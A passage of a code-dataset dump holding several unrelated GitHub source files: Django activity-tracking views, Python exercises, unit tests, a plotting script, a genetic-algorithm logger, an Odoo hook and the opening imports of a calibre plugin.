self._fix_timestamp(Path(pwd, 'test_app.output', name).read_text('cp1251'))\n self.assertEqual(from_zip, expect, f'File {name} differs')\n\n def _read_zip_files(self, f):\n with ZipFile(f, mode='r') as z:\n return [(i, z.read(i)) for i in sorted(z.namelist())]\n\n def _make_zip_input(self, pwd):\n io = BytesIO()\n with ZipFile(io, mode='w') as z:\n z.write(Path(pwd, 'test_app.input.html'), 'sample.html')\n z.write(Path(pwd, '../static/settings.ini').resolve(), 'settings.ini')\n io.seek(0)\n return io\n\n def _fix_timestamp(self, text):\n return self.RE_TIMESTAMP.sub('0000', text, count=1)\n\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"b7w/energostat","sub_path":"src/energostat/tests/test_app.py","file_name":"test_app.py","file_ext":"py","file_size_in_byte":1417,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"81"} +{"seq_id":"5635622210","text":"from datetime import date\nfrom django.contrib.auth.decorators import login_required\nfrom django.shortcuts import render, redirect\nfrom django.utils import timezone\nimport json\n\nfrom ..services import atividade_service, area_service, sub_area_service\nfrom ..forms.atividade_form import AtividadeForm, AtividadeBuscar\nfrom ..forms.general_form import ExclusaoForm\nfrom ..entidades.atividade import Atividade\nfrom ..repositorios import atividade_repositorio\nfrom ..encoder import Encoder\n\n# Create your views here.\n\n\ntemplate_tags = {'semana_atual': date.today().isocalendar()[1],\n 'mes_atual': date.today().month,\n 'ano_atual': date.today().year,\n 'semana': date.today().isocalendar()[1],\n 'mes': date.today().month,\n 'ano': date.today().year,\n 'tipo': 'semana',\n 'valor': 1,\n 'atividades': None,\n 'tempo_areas': 0,\n 'json_tempo_areas': None,\n 'contador_atividades': 0}\n\n\n@login_required\ndef cadastrar_atividade(request):\n if request.method == \"POST\":\n form_atividade = AtividadeForm(request.POST)\n if form_atividade.is_valid():\n atividade_nova = Atividade(data=form_atividade.cleaned_data['data'],\n area=form_atividade.cleaned_data['area'],\n sub_area=form_atividade.cleaned_data['sub_area'],\n plataforma=form_atividade.cleaned_data['plataforma'],\n pessoa=form_atividade.cleaned_data['pessoa'],\n descricao=form_atividade.cleaned_data['descricao'],\n detalhamento=form_atividade.cleaned_data['detalhamento'],\n tempo=form_atividade.cleaned_data['tempo'],\n inicio=atividade_service.buscar_inicio().inicio,\n fim=timezone.now(),\n usuario=request.user)\n\n atividade_service.cadastrar_atividade(atividade_nova)\n return redirect('listar_semana_atual')\n else:\n form_atividade = AtividadeForm()\n atividade_service.cadastar_inicio()\n template_tags['form_atividade'] = form_atividade\n return render(request, 'atividades/form_atividade.html', template_tags)\n\n\n@login_required\ndef listar_atividades(request):\n atividades = atividade_service.listar_atividades(request.user)\n tempo_areas = atividade_repositorio.calcular_tempo_atividade_area(atividades, request.user)\n json_tempo_areas = json.dumps(tempo_areas, cls=Encoder)\n template_tags['atividades'] = atividades\n template_tags['tempo_areas'] = tempo_areas\n template_tags['json_tempo_areas'] = json_tempo_areas\n template_tags['contador_atividades'] = len(atividades)\n return render(request, 'atividades/listar_atividades.html', template_tags)\n\n\n@login_required\ndef listar_ano(request, ano):\n atividades = atividade_service.listar_ano(request.user, ano)\n tempo_areas = atividade_repositorio.calcular_tempo_atividade_area(atividades, request.user)\n json_tempo_areas = json.dumps(tempo_areas, cls=Encoder)\n template_tags['ano'] = ano\n template_tags['atividades'] = atividades\n template_tags['tempo_areas'] = tempo_areas\n template_tags['json_tempo_areas'] = json_tempo_areas\n template_tags['contador_atividades'] = len(atividades)\n return render(request, 'atividades/listar_atividades.html', template_tags)\n\n\n@login_required\ndef listar_semana_atual(request):\n atividades = atividade_service.listar_semana_atual(request.user)\n tempo_areas = atividade_repositorio.calcular_tempo_atividade_area(atividades, request.user)\n json_tempo_areas = json.dumps(tempo_areas, cls=Encoder)\n template_tags['atividades'] = atividades\n template_tags['tempo_areas'] = tempo_areas\n template_tags['json_tempo_areas'] = json_tempo_areas\n template_tags['contador_atividades'] = len(atividades)\n return render(request, 'atividades/listar_atividades.html', template_tags)\n\n\n@login_required\ndef listar_ano_mes_semana(request, ano, tipo, valor):\n if tipo == 'mes':\n atividades = atividade_service.listar_mes(request.user, ano, valor)\n elif tipo == 'semana':\n atividades = atividade_service.listar_semana(request.user, ano, valor)\n tempo_areas = atividade_repositorio.calcular_tempo_atividade_area(atividades, request.user)\n json_tempo_areas = json.dumps(tempo_areas, cls=Encoder)\n template_tags['ano'] = ano\n template_tags['tipo'] = tipo\n template_tags['valor'] = valor\n template_tags['atividades'] = atividades\n template_tags['tempo_areas'] = tempo_areas\n template_tags['json_tempo_areas'] = json_tempo_areas\n template_tags['contador_atividades'] = len(atividades)\n return render(request, 'atividades/listar_atividades.html', template_tags)\n\n\n@login_required\ndef listar_sessao(request, sessao, valor_sessao):\n if sessao == 'data':\n atividades = atividade_service.listar_data(request.user, valor_sessao)\n elif sessao == 'area':\n atividades = atividade_service.listar_area(request.user, valor_sessao)\n elif sessao == 'sub-area':\n atividades = atividade_service.listar_sub_area(request.user, valor_sessao)\n elif sessao == 'plataforma':\n atividades = atividade_service.listar_plataforma(request.user, valor_sessao)\n elif sessao == 'pessoa':\n atividades = atividade_service.listar_pessoa(request.user, valor_sessao)\n elif sessao == 'descricao':\n atividades = atividade_service.listar_descricao(request.user, valor_sessao)\n tempo_areas = atividade_repositorio.calcular_tempo_atividade_area(atividades, request.user)\n json_tempo_areas = json.dumps(tempo_areas, cls=Encoder)\n template_tags['atividades'] = atividades\n template_tags['tempo_areas'] = tempo_areas\n template_tags['json_tempo_areas'] = json_tempo_areas\n template_tags['contador_atividades'] = len(atividades)\n return render(request, 'atividades/listar_atividades.html', template_tags)\n\n\n@login_required\ndef buscar(request):\n if request.method == 'POST':\n form_atividade = AtividadeBuscar(request.POST)\n if form_atividade.is_valid():\n detalhamento = form_atividade.cleaned_data['detalhamento']\n atividades = atividade_service.listar_detalhamento(request.user, detalhamento)\n template_tags['atividades'] = atividades\n template_tags['form_atividade'] = form_atividade\n return render(request, 'atividades/expandir_atividade.html', template_tags)\n else:\n form_atividade = AtividadeBuscar()\n template_tags['form_atividade'] = form_atividade\n return render(request, 'atividades/buscar_temporario.html', template_tags)\n\n\n@login_required\ndef expandir_atividade(request, id):\n atividade = atividade_service.listar_atividade_id(request.user, id)\n atividades = atividade_service.listar_descricao(request.user, atividade.descricao)\n tempo_total = 0\n tempo_atividade = atividade_repositorio.tempo_atividade(atividade.inicio, atividade.fim)\n for i in atividades:\n tempo_total = tempo_total + i.tempo\n template_tags['atividade'] = atividade\n template_tags['atividades'] = atividades\n template_tags['tempo_total'] = tempo_total\n template_tags['tempo_atividade'] = tempo_atividade\n template_tags['projeto'] = True\n return render(request, 'atividades/expandir_atividade.html', template_tags)\n\n\n@login_required\ndef editar_atividade(request, id):\n atividade_antiga = atividade_service.listar_atividade_id(request.user, id)\n form_atividade = AtividadeForm(request.POST or None, instance=atividade_antiga)\n if form_atividade.is_valid():\n atividade_nova = Atividade(data=form_atividade.cleaned_data['data'],\n area=form_atividade.cleaned_data['area'],\n sub_area=form_atividade.cleaned_data['sub_area'],\n plataforma=form_atividade.cleaned_data['plataforma'],\n pessoa=form_atividade.cleaned_data['pessoa'],\n descricao=form_atividade.cleaned_data['descricao'],\n detalhamento=form_atividade.cleaned_data['detalhamento'],\n tempo=form_atividade.cleaned_data['tempo'],\n inicio=atividade_antiga.inicio,\n fim=atividade_antiga.fim,\n usuario=request.user)\n atividade_service.editar_atividade(atividade_antiga, atividade_nova)\n return redirect('listar_semana_atual')\n template_tags['atividade_antiga'] = atividade_antiga\n template_tags['form_atividade'] = form_atividade\n return render(request, 'atividades/editar_atividade.html', template_tags)\n\n\ndef remover_atividade(request, id):\n atividade = atividade_service.listar_atividade_id(request.user, id)\n if request.POST.get('confirmacao'):\n atividade_service.remover_atividade(atividade)\n return redirect('listar_semana_atual')\n template_tags['atividade'] = atividade\n template_tags['form_exclusao'] = ExclusaoForm()\n return render(request, 'atividades/confirma_exclusao.html', template_tags)\n\n\ndef settings(request):\n template_tags['areas'] = area_service.listar_areas(request.user)\n template_tags['sub_areas'] = sub_area_service.listar_sub_areas(request.user)\n return render(request, 'atividades/settings.html', template_tags)\n","repo_name":"fantunesdev/produtividade","sub_path":"atividades/views/atividade_views.py","file_name":"atividade_views.py","file_ext":"py","file_size_in_byte":9688,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"74895999946","text":"# Un programa que cree una lista de 10 num, la copie y la invierta para mostrar ambas en pantalla.\nimport os\nimport random\n\n\ndef List_manipulation_v1():\n os.system(\"cls\")\n print(\"\\nExercise for list manipulation\")\n\n list1 = sorted([random.randint(1, 100) for n in range(10)])\n list2 = list1[::-1] # Dejar la lista invertida\n\n print(f\"List 1: {list1} \\nList 2: {list2}\")\n print(\"\\nEnd of program\\n\")\n\n\nif __name__ == \"__main__\":\n List_manipulation_v1()\n","repo_name":"MiguelImparable/Pruebas-en-python","sub_path":"package/List_manipulation_v1.py","file_name":"List_manipulation_v1.py","file_ext":"py","file_size_in_byte":475,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"35331220672","text":"#!/usr/bin/python2.7\nfrom os import listdir\nfrom os.path import isfile, join, splitext\nimport os\nimport argparse\nimport csv\nimport subprocess\nimport commands\nimport features as ftr \nimport numpy as np\nimport matplotlib.pyplot as plt\nimport matplotlib.gridspec as gridspec\nfrom util import *\nfrom scipy.stats import entropy\nimport pickle\n\ndef filterFeatureSelection():\n folder = 'experiments/graph/plots/'\n imgs = []\n fig = plt.figure(figsize=(12,4.5), dpi=300)\n # gs1 = gridspec.GridSpec(4, 4)\n # gs1.update(wspace=0.025, hspace=0.05) # set the spacing between axes. \n imgs.append(plt.imread('{0}{1}'.format(folder, 'fetsel_TRAINING_ERR_nb_zp0.3.png')))\n imgs.append(plt.imread('{0}{1}'.format(folder, 'fetsel_TRAINING_ERR_logreg_zp0.3.png')))\n imgs.append(plt.imread('{0}{1}'.format(folder, 'fetsel_TRAINING_ERR_svm_zp0.3.png')))\n imgs.append(plt.imread('{0}{1}'.format(folder, 'fetsel_K-FOLD_nb_zp0.3.png')))\n imgs.append(plt.imread('{0}{1}'.format(folder, 'fetsel_K-FOLD_logreg_zp0.3.png')))\n imgs.append(plt.imread('{0}{1}'.format(folder, 'fetsel_K-FOLD_svm_zp0.3.png')))\n # imgs.append(imread('{0}{1}'.format(folder, 'fetsel_TESTING_ERR_logreg_python.png'))\n # imgs.append(imread('{0}{1}'.format(folder, 'fetsel_TESTING_ERR_nb_python.png'))\n # imgs.append(imread('{0}{1}'.format(folder, 'fetsel_TESTING_ERR_svm_python.png'))\n ncol = 3\n for i, img in enumerate(imgs):\n plt.subplot(len(imgs)/ncol, 3, i+1)\n plt.imshow(img)\n plt.axis('off')\n plt.subplots_adjust(wspace=0, hspace=0)\n # plt.show()\n plt.savefig('{0}/filterFS.pdf'.format(folder), dpi=fig.dpi, pad_inches=0, bbox_inches=\"tight\")\n# model_logreg.png\n# model_nb.png\n# model_svm.png\n\ndef model_all():\n folder = 'experiments/graph/plots/'\n imgs = []\n fig = plt.figure(figsize=(12,4.5), dpi=300)\n imgs.append(plt.imread('{0}{1}'.format(folder, 'model_all_zp0.3_inc434_TRAINING_ERR.png')))\n imgs.append(plt.imread('{0}{1}'.format(folder, 'model_all_zp0.3_inc434_K-FOLD.png')))\n imgs.append(plt.imread('{0}{1}'.format(folder, 'model_all_zp0.0_inc197_K-FOLD.png')))\n ncol = 3\n for i, img in enumerate(imgs):\n plt.subplot(len(imgs)/ncol, 3, i+1)\n plt.imshow(img)\n plt.axis('off')\n plt.subplots_adjust(wspace=0, hspace=0)\n # plt.show()\n plt.savefig('{0}/model_all.pdf'.format(folder), dpi=fig.dpi, pad_inches=0, bbox_inches=\"tight\")\n\ndef main():\n usage = \"Assemble figures for report\"\n parser = argparse.ArgumentParser(description='Run feature experiments')\n # parser.add_argument('--matlab', dest='matlab', action='store_true', default=False)\n # parser.add_argument('--mode', dest='mode', action='store', default='K-FOLD')\n # parser.add_argument('--model', dest='model', action='store', default='python')\n # parser.add_argument('--algo', dest='algo', action='store', default='nb')\n # parser.add_argument('--zeropct', dest='zeropct', nargs='?', default=0.3, type=float,\n # help='percentage of zero to include')\n # parser.add_argument('--C', dest='C', nargs='?', default=0.14, type=float,\n # help='penality param C of the regularization error term')\n # parser.add_argument('--k', dest='k', nargs='?', default=10, type=int,\n # help='k for K-Fold')\n (opts, args) = parser.parse_known_args()\n\n # filterFeatureSelection()\n model_all()\n \nif __name__ == \"__main__\":\n main()\n","repo_name":"yaqiz01/cs229-invoice-recognition","sub_path":"bin/plot.py","file_name":"plot.py","file_ext":"py","file_size_in_byte":3428,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"37153405152","text":"import numpy as np\nimport pytest\nimport os\n\n\nfrom fragmentino import io\n\n\nclass TestIO:\n def test_io_read(self):\n\n xyz_reference = np.array(\n [\n [0.86681, 0.60100, 0.00000],\n [-0.86681, 0.60144, 0.00000],\n [0.00000, -0.07579, 0.00000],\n ]\n )\n symbols_reference = [\"H\", \"H\", \"O\"]\n\n file_path = os.path.dirname(__file__)\n fh = io.FileHandlerXYZ(os.path.join(file_path, \"small_molecule_1.xyz\"))\n symbols, xyz = fh.read()\n\n assert np.allclose(xyz, xyz_reference)\n assert all(symbols == symbols_reference)\n\n def test_io_readwrite(self):\n symbols_reference = [\"H\", \"He\", \"C\"]\n xyz_reference = np.zeros((3, 3))\n\n file_path = os.path.dirname(__file__)\n fh = io.FileHandlerXYZ(os.path.join(file_path, \"small_molecule_2.xyz\"))\n fh.write(symbols_reference, xyz_reference)\n\n symbols, xyz = fh.read()\n\n assert np.allclose(xyz, xyz_reference)\n assert all(symbols == symbols_reference)\n","repo_name":"saraidery/fragmentino","sub_path":"fragmentino/tests/test_io.py","file_name":"test_io.py","file_ext":"py","file_size_in_byte":1056,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"81"} +{"seq_id":"72658021065","text":"#!/usr/bin/python3\n\"\"\"Request package for python\"\"\"\nimport requests\nimport sys\n\n\ndef main():\n \"\"\"request and send a dictionary, print the request\"\"\"\n obj = {\"email\": sys.argv[2]}\n url = requests.post(sys.argv[1], data=obj)\n print(url.text)\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"cristian0497/High-Level-Programming","sub_path":"0x11-python-network_1/6-post_email.py","file_name":"6-post_email.py","file_ext":"py","file_size_in_byte":291,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"564259354","text":"\"\"\"\nGiven an array and a value, remove all instances of that value in-place and return the new length.\n\nDo not allocate extra space for another array, you must do this by modifying the input array in-place with O(1) extra memory.\n\nThe order of elements can be changed. It doesn't matter what you leave beyond the new length.\n\nExample:\n\nGiven nums = [3,2,2,3], val = 3,\n\nYour function should return length = 2, with the first two elements of nums being 2.\n\"\"\"\nclass Solution(object):\n def removeElement(self, nums, val):\n \"\"\"\n :type nums: List[int]\n :type val: int\n :rtype: int\n \"\"\"\n try:\n while True:\n nums.remove(val)\n except:\n return len(nums)\n\n \n# 283. Move Zeroes \n\"\"\"\nGiven an array nums, write a function to move all 0's to the end of it while maintaining the relative order of the non-zero elements.\n\nFor example, given nums = [0, 1, 0, 3, 12], after calling your function, nums should be [1, 3, 12, 0, 0].\n\nNote:\nYou must do this in-place without making a copy of the array.\nMinimize the total number of operations.\n\"\"\"\nclass Solution(object):\n def moveZeroes(self, nums):\n \"\"\"\n :type nums: List[int]\n :rtype: void Do not return anything, modify nums in-place instead.\n \"\"\"\n count_0 = nums.count(0)\n try:\n while True:\n nums.remove(0)\n except:\n no_0_nums = nums\n \n list_0 = [0] * count_0\n nums = no_0_nums.extend(list_0)\n \n return nums\n","repo_name":"qinliu1023/practices","sub_path":"27. Remove Element.py","file_name":"27. Remove Element.py","file_ext":"py","file_size_in_byte":1570,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"25242744288","text":"\"\"\"\n描述\n给一个数组arr,其中只有一个数出现了奇数次,其它数出现了偶数次,打印这个数。\n输入描述:\n输出包含两行,第一行包含一个整数n,代表数组arr长度,第二行有n个数,代表数组arrarr_i 为32位整数arr \ni\n​\n 为32位整数。\n输出描述:\n输出一个整数,代表出现次数为奇数次的那个数。\n示例1\n输入:\n5\n3 1 3 1 2\n输出:\n2\n示例2\n输入:\n3\n6 6 3\n输出:\n3\n\"\"\"\n\n\nclass Solution:\n def GetSingleNum(self, arr, n):\n sum = 0\n for v in arr:\n sum ^= v\n return sum\n\n\nif __name__ == '__main__':\n n = int(input())\n arr = [int(item) for item in input().split()]\n test = Solution()\n res = test.GetSingleNum(arr, n)\n print(res)\n","repo_name":"LeungLoh/algorithm","sub_path":"程序员代码面试指南/CD146 在其它数出现次数都为偶数的数组中找到出现次数为奇数次的数.py","file_name":"CD146 在其它数出现次数都为偶数的数组中找到出现次数为奇数次的数.py","file_ext":"py","file_size_in_byte":774,"program_lang":"python","lang":"zh","doc_type":"code","stars":1,"dataset":"github-code","pt":"81"} +{"seq_id":"26992207395","text":"'''Here the file operations are done'''\nimport datetime\nimport time\nimport os\nimport struct\n\ndef bin2float(binary):\n return struct.unpack('!f',struct.pack('!I', int(binary, 2)))[0]\n\n'''Each experiment is saved in a file which name is the moment of the experiment's execution'''\ndef setName(now):\n day = '{:02d}'.format(now.day)\n month = '{:02d}'.format(now.month)\n year = str(now.year)\n date = day + '-' + month + '-' + year\n\n hour = '{:02d}'.format(now.hour)\n minute = '{:02d}'.format(now.minute)\n second = '{:02d}'.format(now.second)\n time = hour + ':' + minute + ':' + second\n\n return date + '.' + time + \".txt\"\n\n'''Opening file'''\ndef newFile(setupName):\n\t#Getting the current script path\n\tparentDir = os.path.dirname(os.path.dirname(os.path.realpath(__file__)))\n\tsubDir = \"Output\"\n\tfileName = setupName + \" | \" + str(setName(datetime.datetime.now()))\n\tfilePath = os.path.join(parentDir, subDir, fileName)\n\n\t#Creating subdirectory\n\ttry:\n\t\tos.mkdir(os.path.join(parentDir, subDir))\n\texcept Exception as e:\n\t\tpass\n\n\tfile = open(filePath, 'w') \n\treturn file\n\n'''Writing on file'''\ndef save(name, log):\n\tfile = newFile(name)\n\n\tfor line in log:\n\t\tfile.write(line)\n\n\tfile.close()\n\n'''This function returns a ordinal number used on report of best simulation'''\ndef ordinal(number):\n\tnumber = str(number)\n\n\tif(number[-1] == '1'):\n\t\treturn number + \"st\"\n\tif(number[-1] == '2'):\n\t\treturn number + \"nd\"\n\tif(number[-1] == '3'):\n\t\treturn number + \"rd\"\n\telse :\n\t\treturn number + \"th\"\n\t\n\n'''Closing file'''\ndef record(bestIndividual, log, su):\n\t'''Adding a heading to the file containing the setup chosen by the user'''\n\tsu.log.append(\" Function: {}\\n\".format(su.function.replace(\" \", \"\")))\n\tsu.log.append(\" Domain: {}\\n\".format(su.varDomain))\n\ttask = \"Maximize\" if su.task == \"max\" else \"Minimize\"\n\tsu.log.append(\" Objective: {}\\n\\n\".format(task))\n\n\tsu.log.append(\" Maximum population size: {}\\n\".format(su.populationSize))\n\tsu.log.append(\" Maximum number of generations: {}\\n\".format(su.maxGenerations))\n\tsu.log.append(\" Plateau: {}\\n\".format(su.plateau))\n\tsu.log.append(\" Crossover probability: {}\\n\".format(su.crossoverProb))\n\tsu.log.append(\" Mutation rate: {}\\n\\n\".format(su.mutationRate))\n\n\tsu.log.append(\" Selection strategy: {}\\n\".format(su.selection))\n\tsu.log.append(\" Crossover strategy: {}\\n\".format(su.crossover))\n\tsu.log.append(\" Mutation strategy: {}\\n\".format(su.mutation))\n\tsu.log.append(' {:#<40}'.format(\"\") + \"\\n\")\n\n\t'''Simulation result'''\n\tif su.geneType == \"Integer string\":\n\t\tchampion = [int(value) for value in bestIndividual['champion'][:-1]]\n\t\tchampion.append(round(bestIndividual[\"champion\"][-1], 3))\n\telif su.geneType == \"Float string\":\n\t\tchampion = bestIndividual[\"champion\"]\n\t\tchampion[-1] = round(champion[-1], 3)\n\telse:\n\t\tchampion = []\n\t\tbegin = 0\n\n\t\tfor i in range(len(su.varLength)): \n \t#Replacing values\n\t\t\tend = begin + su.varLength[i]\n\t\t\tvalue = bin2float(\"\".join(bestIndividual[\"champion\"][begin:end]))\n\t\t\tchampion.append(round(value, 3))\n\t\t\tbegin = end\n\t\tchampion.append(bestIndividual[\"champion\"][-1])\n\n\tsu.log.append(\"\\n -> Best simulation: #{}.\".format(bestIndividual[\"id\"]))\n\tsu.log.append(\"\\n -> Champion: {}.\".format(champion))\n\tsu.log.append(\"\\n -> Achieved in the {} generation.\".format(ordinal(bestIndividual[\"last\"])))\n\tsu.log.append(\"\\n -> Population average fitness: {}\\n\\n\".format(round(bestIndividual[\"average\"], 5)))\n\tsu.log.append(' {:#<40}'.format(\"\") + \"\\n\")\n\n\tfor entry in log:\n\t\tsu.log.append(entry)\n","repo_name":"Leandro97/EasyGA","sub_path":"model/record.py","file_name":"record.py","file_ext":"py","file_size_in_byte":3495,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"81"} +{"seq_id":"11975029450","text":"import os\n\n\n# Попытался написать собственный парсер yaml =)\n\ndef create_project_starter(config_file_name: str):\n \"\"\"\n Функция для создания структуры папок и файлов в соответствии с файлом конфигурации.\n Файл должен иметь следующую структуру:\n - каждая строка - отдельная папка или файл\n - файл отличается от папки наличием точки\n - количетво символов \"пробел\" перед названием папки или файла определяет его уровень вложенности\n - БУДЬТЕ ВНИМАТЕЛЬНЫ: не допускается ситуация, когда уровень вложенности текущего элемента больше\n уровня вложенности предыдущего элемента более, чем на 1\n\n :param config_file_name: имя yaml-файла с конфигурацией\n :return: None\n \"\"\"\n\n with open(config_file_name) as f:\n path_items_list = [] # список для хранения элементов пути\n prev_level = -1 # стартовое значение предыдущей позиции\n\n while True:\n line = f.readline()\n if not line:\n break\n elif '.' in line: # это файл\n line_type = 'file'\n else: # это папка\n line_type = 'folder'\n\n line.rstrip()\n level = line.count(' ') # определяем глубину\n level_difference = level - prev_level # разница в глубине относительно предыдущей записи\n\n for _ in range(1 - level_difference):\n path_items_list.pop() # сокращаем список элементов на количество, рассчитанное по разнице в глубине\n path_items_list.append(line.strip()) # заносим в список текущий элемент\n prev_level = level # обновляем уровень для следующей итерации\n\n if line_type == 'folder':\n # создание папки\n os.makedirs(os.path.join(*path_items_list), exist_ok=True)\n else:\n # создание файла\n if not os.path.exists(os.path.join(*path_items_list)): # если файл еще не создан\n with open(os.path.join(*path_items_list), 'w'):\n pass\n\n\nif __name__ == '__main__':\n config = 'config.yaml'\n create_project_starter(config_file_name=config)\n","repo_name":"tkvitko/study_python_basics","sub_path":"Kvitko_Taras_dz_7/task_7_2.py","file_name":"task_7_2.py","file_ext":"py","file_size_in_byte":2876,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"12735202019","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Tue Mar 7 10:54:48 2017\r\n\r\n@author: Susanna Hammarberg\r\n\"\"\"\r\nimport numpy as np\r\n\r\ndef create2Dgaussian(sigmay, sigmax, height, width):\r\n gauss2D = np.zeros(shape=(height,width))\r\n for m in range(0,height): #från 1 eller 0?\r\n for n in range(0,width): \r\n gauss2D[m,n] = np.exp(-(((m-height/2)**2)/(2*sigmay**2) + ((n-width/2)**2)/(2*sigmax**2)))\r\n \r\n\r\n return gauss2D","repo_name":"susannahammarberg/CoherentXrayImaging","sub_path":"create2Dgaussian.py","file_name":"create2Dgaussian.py","file_ext":"py","file_size_in_byte":457,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"81"} +{"seq_id":"25104101778","text":"from odoo import SUPERUSER_ID, api\n\n\ndef post_init_hook(cr, registry):\n \"\"\" After installing the module the following actions will be done:\n 1. Set the odoo base variable 'assignment_optout' to True to disable \n all Odoo auto-assignment functions.\n 2. Set the assignment date to the conversion date between initiative\n and opportunity or the creation date if the conversion date does not \n exist.If this is not done, the assignment date of all opportunities \n created before installing the module will be the installation date. \n This is because the assignment date field is a computed field. \n \"\"\"\n env = api.Environment(cr, SUPERUSER_ID, {})\n env[\"crm.team.member\"].search([]).write({\n 'assignment_optout': True\n })\n for lead in env[\"crm.lead\"].search([('user_id', '!=', None)]):\n lead.assignment_date = lead.date_conversion if lead.date_conversion \\\n else lead.create_date\n return\n","repo_name":"sygel-technology/sy-crm","sub_path":"crm_autoassign/post_install.py","file_name":"post_install.py","file_ext":"py","file_size_in_byte":982,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"36983991820","text":"#Kullanıcıdan bir dik üçgenin dik olan iki kenarını(a,b) alın ve hipotenüs uzunluğunu bulmaya\n# çalışın. Hipotenüs Formülü: a^2 + b^2 = c^2\n\na = int(input(\"İlk kenarın uzunluğunu girin: \"))\nb = int(input(\"İkinci kenarın uzunluğunu girin: \"))\n\nc = (a ** 2 + b ** 2) ** 0.5\n\n\nprint(\"\\nHipotenüs uzunluğu: \",c)","repo_name":"EmrahGK/python-eski","sub_path":"Ödevler/Bölüm 3/problem6.py","file_name":"problem6.py","file_ext":"py","file_size_in_byte":331,"program_lang":"python","lang":"tr","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"11111913447","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n \nimport unittest\nfrom should_dsl import should, should_not\nfrom maquina import Maquina\nfrom servidor import Servidor\nfrom impressora import Impressora\nfrom impressao import Impressao\nfrom usuario import Usuario\nfrom estacao import Estacao\n\nclass testeImpressao(unittest.TestCase):\n\n def test_obter_impressao(self):\n estacao = Estacao(1,'DELL',4,512,'lab-8')\n servidor = Servidor(2,'PC',512,4088,128,10000)\n impressora = Impressora(20,'lASERjET HP',40)\n usuario = Usuario('mauro','123456')\n \n usuario.logar(estacao)\n servidor.adicionar_impressora(impressora)\n \n impressao = Impressao('arquivo1.txt',impressora, usuario)\n \n (impressao._validar_valor_positivo,1) |should_not| throw(ValueError)\n (impressao._validar_valor_positivo,0) |should| throw(ValueError)\n\n impressao.copias |should| equal_to(1)\n impressao.arquivo |should| equal_to('arquivo1.txt')\n impressao.usuario |should| equal_to(usuario)\n\n impressora.imprimir()\n usuario.apagar_usuario()\n impressora.destruir_maquina() \n estacao.destruir_maquina() \n servidor.destruir_maquina()\n \n def test_obter_mais_copias(self):\n estacao = Estacao(1,'DELL',4,512,'lab-8')\n servidor = Servidor(2,'PC',512,4088,128,10000)\n impressora = Impressora(20,'lASERjET HP',40)\n usuario = Usuario('mauro','123456')\n \n usuario.logar(estacao)\n servidor.adicionar_impressora(impressora)\n \n impressao = Impressao('arquivo1.txt',impressora, usuario)\n impressao.copias |should| equal_to(1)\n impressao2 =Impressao('arquivo1.txt',impressora, usuario,2)\n\n# impressao |should| equal_to(impressao2)\n impressao.copias |should| equal_to(3)\n impressao2.copias |should| equal_to(3)\n impressao |should| equal_to(impressao2)\n\n impressora.imprimir()\n usuario.apagar_usuario()\n impressora.destruir_maquina() \n estacao.destruir_maquina() \n servidor.destruir_maquina()\n\n\n \nif __name__ == \"__main__\":\n unittest.main()\n\n","repo_name":"maurodias/PrinterLAN","sub_path":"testeImpressao.py","file_name":"testeImpressao.py","file_ext":"py","file_size_in_byte":2205,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"45469967946","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\nfrom __future__ import (unicode_literals, division, absolute_import,\n print_function)\n\n__license__ = 'GPL v3'\n__copyright__ = '2021, un_pogaz '\n__docformat__ = 'restructuredtext en'\n\nimport copy, time, os, shutil\n# python3 compatibility\nfrom six.moves import range\nfrom six import text_type as unicode\n\ntry:\n load_translations()\nexcept NameError:\n pass # load_translations() added in calibre 1.9\n\nfrom datetime import datetime\nfrom collections import defaultdict, OrderedDict\nfrom functools import partial\nfrom polyglot.builtins import iteritems, itervalues\n\ntry:\n from qt.core import (Qt, QToolButton, QWidget, QVBoxLayout, QHBoxLayout, QLabel, QLineEdit, QTextEdit,\n QFormLayout, QAction, QDialog, QTableWidget, QScrollArea,\n QTableWidgetItem, QAbstractItemView, QComboBox, QCheckBox,\n QGroupBox, QGridLayout, QRadioButton, QDialogButtonBox,\n QPushButton, QSpacerItem, QSizePolicy, QTabWidget)\nexcept ImportError:\n from PyQt5.Qt import (Qt, QToolButton, QWidget, QVBoxLayout, QHBoxLayout, QLabel, QLineEdit, QTextEdit,\n QFormLayout, QAction, QDialog, QTableWidget, QScrollArea,\n QTableWidgetItem, QAbstractItemView, QComboBox, QCheckBox,\n QGroupBox, QGridLayout, QRadioButton, QDialogButtonBox,\n QPushButton, QSpacerItem, QSizePolicy, QTabWidget)\n\nfrom calibre import prints\nfrom calibre.gui2 import error_dialog, question_dialog, info_dialog, warning_dialog\nfrom calibre.gui2.ui import get_gui\nfrom calibre.gui2.widgets2 import Dialog\nfrom calibre.ebooks.metadata import string_to_authors\nfrom calibre.library.field_metadata import FieldMetadata\nfrom polyglot.builtins import iteritems, itervalues\nfrom calibre.utils.icu import strcmp\n\nfrom .common_utils import debug_print, get_icon, PREFS_library, PREFS_dynamic, duplicate_entry\nfrom .common_utils.widgets import ImageTitleLayout, ReadOnlyTableWidgetItem, KeyValueComboBox, CustomColumnComboBox\n\n\nfrom .marc_relators import CONTRIBUTORS_ROLES, 